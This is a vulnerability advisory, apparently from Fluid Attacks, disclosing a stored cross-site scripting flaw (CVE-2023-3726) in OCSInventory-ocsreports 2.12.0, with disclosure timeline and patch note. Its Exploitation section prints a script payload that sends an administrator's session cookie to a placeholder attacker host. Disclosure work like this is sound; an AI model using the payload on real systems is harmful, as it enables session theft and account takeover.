OCSInventory 2.12.0 - Stored XSS

4.9

Medium

Discovered by 

Ronald Hernandez

Offensive Team, Fluid Attacks

Summary

Full name

OCSInventory-ocsreports 2.12.0 - Stored cross-site Scripting

Code name

State

Private

Release date

Aug 11, 2023

Affected product

OCSInventory

Affected version(s)

Version 2.12.0

Vulnerability name

Stored cross-site Scripting

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

CVSS v3.1 base score

4.9

Exploit available

Yes

CVE ID(s)

Description

OCSInventory allow stored email template with special characters that lead to a Stored cross-site Scripting.

Vulnerability

A cross-site scripting (XSS) vulnerability has been identified in OCSInventory-ocsreports, which could potentially allow an attacker to steal sensitive data such as session cookies. It is also possible to steal the password hash if the attacker changes the server state to debug, this due to the server in debug mode displaying the hash.This could be exploited if the target is an administrator with a current login session.

Exploitation

To exploit this vulnerability we need to go to the Portal of ocsreports -> Configuration -> Notification -> Customize Template and Upload a HTML file with our payload:

<script>
new Image().src="http://ourattacker-pc.com/?cookie="+document.cookie;
</script>

Note that only administrators can make changes to the mail template.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-3726 to refer to this issue from now on. Disclosure policy

System Information

  • Version: OCSInventory-ocsreports v2.12.0

  • Operating System: Linux

Mitigation

An updated version of OCSInventory-ocsreports is available at the vendor page.

References

Timeline

Vulnerability discovered

Jul 17, 2023

Vendor Confirmed Vuln.

Jul 20, 2023

Vulnerability patched

Aug 11, 2023

Vendor contacted

Jul 17, 2023

Vendor replied

Jul 20, 2023

Public disclosure

Aug 11, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.